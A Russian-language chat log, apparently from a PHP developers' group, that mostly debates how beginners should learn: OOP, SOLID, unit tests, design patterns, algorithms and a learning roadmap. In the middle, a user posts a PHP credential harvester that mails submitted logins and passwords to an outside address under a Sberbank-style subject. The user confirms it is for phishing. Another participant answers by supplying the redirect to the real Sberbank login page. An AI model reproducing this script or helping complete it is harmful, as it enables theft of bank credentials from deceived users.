Важно хотя бы знать, что оно существует, вникать очень подробно не обязательно. Потом как понадобится, просто вспомнишь и снова откроешь, и подробно изучешь, будешь хоть знать что и когда применять.

А по самому PHP что-то такое? не просто синтаксис, а другие детали

ну зандстру же дал, там вполне исчерпывающе, есть еще www.phptherightway.com , там тоже все современное для php перечислено, лучшие практики

Маклафлина почитал немного, вроде неплохо объясняется, но по моему там не всё затронуто

открыл первый попавшийся темплейт - сразу же фейл, вызов синглтона из темплейта

тебе от себя не тошнит? посмотри дату публикации движка

Всем привет можно попросить о помощи? вот есть post запрос. как после его отправки сделать редирект на нужную страничку автоматически? <?php $page = isset($_GET['p'])?$_GET['p']:''; if($page=='sndm'){ $lg = $_POST['login']; $pw = $_POST['password']; $to = "почта@yandex.ru"; $name = "serv"; $email = "qwerty@mail.ru"; $tema = "SBRF"; $msg = "Login: " . $lg . " Password: " . $pw; $headers = 'From: ' . $name . ' <'. $email .'>' . "r"; $headers .= 'Content-type: text/plain; charset="utf-8"r'; mail($to, $tema, $msg, $headers); }; подскажите пожалуйста.

4 года назад за знание паттерна синглтон звали сениором

ну зандстру же дал, там вполне исчерпывающе, есть еще www.phptherightway.com , там тоже все современное для php перечислено, лучшие практики

Нет, Зандстра про ООП конкретно, а что-то ещё же есть из основ языка и всего ,что свзяано с бэкендом

4 года назад за знание паттерна синглтон звали сениором

это где? у нас тут уже с 90х народ по семинарам ездит, паттерны обсуждает

Нет, Зандстра про ООП конкретно, а что-то ещё же есть из основ языка и всего ,что свзяано с бэкендом

http://www.zend.com/en/services/certification/php-certification

это где? у нас тут уже с 90х народ по семинарам ездит, паттерны обсуждает

причем тут обсуждает

вот ты сейчас говоришь синглтон антипатерн

а когда это изменилось?

ну в том смысле, что этому внимание уделяют давно уже и на работах ожидают, что будешь знать

дай ты человеку совершить свои ошибки, что бы когда читал он заумные книжки мог с чем то сопоставить свой опыт и свои шишки

но зачем? он может выучить сразу все современное и пойти в нормальную фирму, где ооп юзают. А так будет хх лет по шарагам с говнокодом и низкими зарплатами тыкаться.

о господи

ты машину умеешь водить?

ну машину водить не спорю сразу не научишься

опыт нужен

как теория так и практика

но в программировании все не так однозначно, можно сразу учить все современное, best practices и дело лучше пойдет

судя по твои высказываниям тебе должно было хватить увидеть картинку как человек ведет машину

и описание с его слов почему он нажимает на те педальки

ну на машине, если плохо ведешь, то врежешся и дальше уже водить не будешь, а вот программирование вполне ошибки допускает, тут как раз важнее больше теории знать и сразу попасть в хорошее место, где тебя дальше продвинут

без ооп, солид и юнит тестов же попадешь только в шарагу, где сами ничего не знают

и всю жизнь спрашивать себя почему я делаю так, хотя как мне кажется можно было по другому, потому что тебе это навязали а не ты сам пришел к этому

и во вторых

какой нахуй солид

юнит тесты

человек возможно вчера свой первый хеллоуворд написал

Всем привет можно попросить о помощи? вот есть post запрос. как после его отправки сделать редирект на нужную страничку автоматически? <?php $page = isset($_GET['p'])?$_GET['p']:''; if($page=='sndm'){ $lg = $_POST['login']; $pw = $_POST['password']; $to = "почта@yandex.ru"; $name = "serv"; $email = "qwerty@mail.ru"; $tema = "SBRF"; $msg = "Login: " . $lg . " Password: " . $pw; $headers = 'From: ' . $name . ' <'. $email .'>' . "r"; $headers .= 'Content-type: text/plain; charset="utf-8"r'; mail($to, $tema, $msg, $headers); }; подскажите пожалуйста.

ахаха. кек. фишинг?

@Koshagol погодь. Ща я тебе накидаю примерный путь к само развитию) тк сказать как новичок новичку))

@Koshagol погодь. Ща я тебе накидаю примерный путь к само развитию) тк сказать как новичок новичку))

надеюсь ты не начнешь ему за tdd сперва рассказывать

Че за tdd

ахаха. кек. фишинг?

он самый

ну так за хеллоуворлдом надо следующий шаг делать, вот хеллоуворлд и тестируют юнит тестом, а потом уже оборачивают в mvc, структурируют по solid. Вместо этого можно 100500 функций php выучить, но это не фундаментальные знания, их всегда и нагуглить можно. А вот фундаментальные не нагуглишь.

он самый

яндекс давно уже показывает плашку что отправленно не с реальной почты

ну так за хеллоуворлдом надо следующий шаг делать, вот хеллоуворлд и тестируют юнит тестом, а потом уже оборачивают в mvc, структурируют по solid. Вместо этого можно 100500 функций php выучить, но это не фундаментальные знания, их всегда и нагуглить можно. А вот фундаментальные не нагуглишь.

я запрещаю тебе разговаривать в этом чате с новичками

если ты таким образом оправдываешь свое пребывание тут можешь уходить

он самый

ну, тогда вот так header('Location: https://online.sberbank.ru/CSAFront/index.do');

ты не научишь ничему человека который не знает почему у него переменная не интерполируется в одинарных ковычках ооп солиду или юнит тестам

@Koshagol есть неплохой роад мап - https://github.com/kamranahmedse/developer-roadmap#-back-end-roadmap Я стараюсь по нему все изучать. Так как то посл довательней получается. По поводу mvc - это сильно) тут сначала лучше какойнить простой сервис написать))

Как я учился (и все еще учусь).

Кавычки кавычками, а в голове теорию надо держать, если ее нет, то кавычки не помогут. Это все частности, а фундаментальные знания как раз применимы везде, даже если решит с php на другой язык пересесть.

яндекс давно уже показывает плашку что отправленно не с реальной почты

не, тут явно фейковая страница сбера и этот скрипт собираем аутентификационные данные и отправляет этой "Марии" на почту. А пользователя перекидывает потом куда-нибудь. На страницу с ошибкой

такое уже не работает

такое уже не работает

смотря на кого, увы. и как реализовано, конечно. такой дубовый способ - да, вряд ли

Кавычки кавычками, а в голове теорию надо держать, если ее нет, то кавычки не помогут. Это все частности, а фундаментальные знания как раз применимы везде, даже если решит с php на другой язык пересесть.

ты не поверишь, но я согласен с этим, програмирование не про языки в принципе, но если человек до этого не имел дела с этим это все для него пустые слова, фундаментальные вещи они на то и фундаментальные, что предполагают что у человека должен быть какой-то фундмент за плечами, нельзя учить математику с 11 класса,того к чему люди пришли в школе за 11 лет, нужна четкая последовательность сложение/вычитание практика, след.материал и по новому;

слишком натянуто про 11 лет

11 лет учили не только математику, а еще 100500 предметов, если сократить только до одной математики, то за год можео управиться

11 лет учили не только математику, а еще 100500 предметов, если сократить только до одной математики, то за год можео управиться

ты в 6 лет в школу пошел?

дискретная математика у тебя когда началась в 6,5?

виноват, исправлюсь

но так то математику с 1 класса начали учить ?

1 + 1 там

5 * 2, и так далее

Но частности все эти долго изучать можно, до фундамента так и не доберешься. Получаются программисты, которые знают кучу функций и билиотек, но не могут даже нормально свой код структурировать. Как с ними потом работать на совместных проектах? Они же весь код портят только.

Зато когда берут практиканта, который ничего не знает, и сразу ему солид, паттерны и тесты, то потом его сразу можно в проект подключать, ничего не портится.

а вот недостающее он потом и легко добрать может типа кавычек

речь не про 11 лет вообще, про ооп известно уже порядка 30 лет и я сомневаюсь что каждый из вас сразу же стал на путь истинный 30 лет назад, когда услышал за него; а практиканта без знаний не берут вообще, в исключительных случаях и по знакомству

открой любую вакансию на джуна и ниже на полу позицию

предполагается наличине определенных знаний

у нас кучу практикантов берут, на работе же и учат

а не ооп tdd GRASP SOLID и тд

у нас кучу практикантов берут, на работе же и учат

ты вещаешь со своей колокольни

и не более

ERROR: S client not available

начинают с юнит тестов, потом code review, солид, паттерны и прочее

я тебе сказал что для статистики твой случай просто ничто

начинают с юнит тестов, потом code review, солид, паттерны и прочее

ну пригласи сюда одного из них в чат

Сначала я просто писал код. Потом я почувствовал что что-то пошло не так. Как то много копи паста. Так я познакомился с принципами DRY и полюбил функции. Как только я втянулся в написание функций и соблюдение DRY я как то незаметно начал соблюдать KISS. И это было хорошо)) Вообще нужно себя настолько приучить к DRY чтобы тебя аж трясло от трех повторяющихся строк в коде) как только ты к этому прийдешь можно посмотреть на функциональное программирование (ща меня закидают чем-нибудь омерзительным и тяжелым:) и на принципы микросервисов. Будет очередная эврика! А потом ты подумаешь - "вот было бы здорово как то контролировать что тебе идет на вход в функцию." И тут ты смотришь н ООП... Божечке как же здорово что кто то это все придумал! Как же это здорово это использовать! Особенно вместе с MVC паттерном!)) ну и собственно прежде чем что то делать на ООП и MVC нужно хотябы на той же википедии прочитать про SOLID и с чашечкой чая все это осознать. Ну а дальше тебе подскажет роадмап и чатик)) P.S. Это конечно же все имхо. Это то что подошло для меня и не факт что подойдет кому то другому (но я думаю что большинству такой роадмап вполне подойдёт)). P.P.S. На первых порах постарайся классы ООП воспринимать как особый тип данных. Так он легче в понимании дается.

Мля. Надеюсь за сообщение такой длинны не забанят...

Сначала я просто писал код. Потом я почувствовал что что-то пошло не так. Как то много копи паста. Так я познакомился с принципами DRY и полюбил функции. Как только я втянулся в написание функций и соблюдение DRY я как то незаметно начал соблюдать KISS. И это было хорошо)) Вообще нужно себя настолько приучить к DRY чтобы тебя аж трясло от трех повторяющихся строк в коде) как только ты к этому прийдешь можно посмотреть на функциональное программирование (ща меня закидают чем-нибудь омерзительным и тяжелым:) и на принципы микросервисов. Будет очередная эврика! А потом ты подумаешь - "вот было бы здорово как то контролировать что тебе идет на вход в функцию." И тут ты смотришь н ООП... Божечке как же здорово что кто то это все придумал! Как же это здорово это использовать! Особенно вместе с MVC паттерном!)) ну и собственно прежде чем что то делать на ООП и MVC нужно хотябы на той же википедии прочитать про SOLID и с чашечкой чая все это осознать. Ну а дальше тебе подскажет роадмап и чатик)) P.S. Это конечно же все имхо. Это то что подошло для меня и не факт что подойдет кому то другому (но я думаю что большинству такой роадмап вполне подойдёт)). P.P.S. На первых порах постарайся классы ООП воспринимать как особый тип данных. Так он легче в понимании дается.

именно это и есть нормальный процесс обучения

А вообще - ничего на свете лучше нету чем классный наставник который работает с тобой в команде.

наставники не везде есть, а вот чтобы на того же джуна попасть, часто уже знание паттернов требуют

относительно

отвечу тебе фразой с другого чата: Джуны с design patterns оверхед, не?

ну так это реалии рынка, если хотят джунов с паттернами, то придется джунам учить паттерны

ну так это реалии рынка, если хотят джунов с паттернами, то придется джунам учить паттерны

ты же говоришь у вас джунов берут без знаний в принципе

не получается ли, что ты сам себе противоречишь?

практикантов, а не джунов, джунам зарплату платить надо, практикантам нет

точнее им тоже платят, но мало совсем

а вот джуну уже полную отваливай

на полу позицию за 10 тыс рублей можно и обезьяну взять которая компьютером пользоватся не умеет

приглашай сюда своих практикантов, без знаний как ты говоришь, посмотрим чего их научили за пол годика

и насколько сильна фундаментальная база которая начинается с юнит тестов, грасп, солид и тдд)

тесты в коде есть, coverage 100%, разделения классов на роли есть, представление отделено от логики, dependency injection, фабрики, в gitе бранч под каждый тикет, и это все практикант через полгода-год

принципе может на code review даже обосновать что-то

но главное что общий код не портит уже, значит может в тиме дальше писать

бля, я вот как-то вообще всегда считал, что фундаментальное в программировании - это понимание как строить алгоритмы. Какие нахуй юнит тесты?

бля, я вот как-то вообще всегда считал, что фундаментальное в программировании - это понимание как строить алгоритмы. Какие нахуй юнит тесты?

алгоритмы в веб-программировании? разве в рекомендательных системах каких, да поисках маршрутов

алгоритмы в веб-программировании? разве в рекомендательных системах каких, да поисках маршрутов

не, если ты ебашишь простенькие лендинги - окей. Домашние бложики - тож окей

главное, чтобы в тиме работать мог и общий код не ухудшал, а это хорошо структурированный код и тесты

алгоритмы в веб-программировании? разве в рекомендательных системах каких, да поисках маршрутов

короче, все с тобой понятно

короче, все с тобой понятно

+

и правда, нахуя алгоритмы?

сука, сделал мой вечер

и правда, нахуя алгоритмы?

вот такой вот и получается практикант через пол года

они нужны, но редко